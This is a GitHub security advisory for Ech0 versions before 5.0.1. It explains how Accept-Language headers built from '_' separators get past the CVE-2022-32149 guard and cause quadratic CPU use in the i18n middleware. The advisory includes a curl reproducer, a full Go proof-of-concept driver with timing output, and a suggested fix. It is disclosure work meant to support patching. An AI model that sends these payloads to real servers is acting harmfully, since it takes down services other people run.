--- id: GHSA-mqxv-9rm6-w8qc title: >- Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware summary: >- Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware severity: high cwe: - CWE-770 - CWE-772 vendor: lin-snow product: github.com/lin-snow/ech0 ecosystem: go affected: - github.com/lin-snow/ech0 < 5.0.1 published: '2026-07-14' updated: '2026-07-14' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-mqxv-9rm6-w8qc' references: - url: 'https://github.com/lin-snow/Ech0/security/advisories/GHSA-mqxv-9rm6-w8qc' - url: 'https://github.com/advisories/GHSA-mqxv-9rm6-w8qc' tags: - ghsa - go ingestedAt: '2026-07-14T20:39:11.303Z' --- ## Overview ### Summary Ech0's i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth. ### Affected versions `github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on: - the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below) - `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged) ### Privilege required Unauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint. ### Vulnerable code [`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213: ```go func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language")) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` `setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`: ```go func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) { if ctx == nil { return } normalized := ResolveLocale(locale) localizer := NewLocalizer(normalized, acceptLanguage) ctx.Set(ContextLocaleKey, normalized) ctx.Set(ContextLocalizerKey, localizer) ctx.Header("Content-Language", normalized) } ``` `NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request. `ctx.GetHeader("Accept-Language")` is the unfiltered HTTP header. Go's default `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. The additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, ","))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice). CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. ### How `Accept-Language` reaches `ParseAcceptLanguage` The middleware sequence on any HTTP request: 1. The request enters `i18n.Middleware()`. 2. `ctx.GetHeader("Accept-Language")` returns the full attacker-supplied header value. 3. `setLocaleContext` is called with that value. 4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n's `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered. No size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210. ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container: ```bash docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest sleep 5 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:18300/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2) A Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:18300/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() } func send(label, header string) { client := &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) } func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('_' x 1MiB)", buildPayload("_", 1<<20)) send("attack repeat 2", buildPayload("_", 1<<20)) send("attack repeat 3", buildPayload("_", 1<<20)) } ``` Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2): ``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through lin-snow/Ech0 v4.8.2 i18n middleware at internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer). Target: http://127.0.0.1:18300/ payload=1048576 B warm-up header=0 B '_'=0 '-'=0 status=200 t=7.692458ms --- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=2.666625ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=1.981333ms guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=200 t=21.445083ms attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=200 t=1.489513083s attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.501842542s attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.571093458s ``` Setting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, ","))` directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s. Interpretation: | Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 2 - 8 ms | | 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms | | 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s | | 1 MiB `_` separators with X-Locale: en | 1 MiB | ~7.9 s | The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant. ### Impact - One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards. - Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed. ### Suggested fix Apply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling: ```go // internal/i18n/i18n.go const maxAcceptLanguageSeparators = 32 // real browsers send < 10 func sanitizeAcceptLanguage(v string) string { if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators { return "" } return v } func Middleware() gin.HandlerFunc { return func(ctx *gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language"))) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } } ``` The same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`). A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible. The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input. ### Credit Reported by tonghuaroot. ### Fix PR https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1 ## Affected packages - `github.com/lin-snow/ech0 < 5.0.1` ## Remediation Refer to the advisory for the patched release.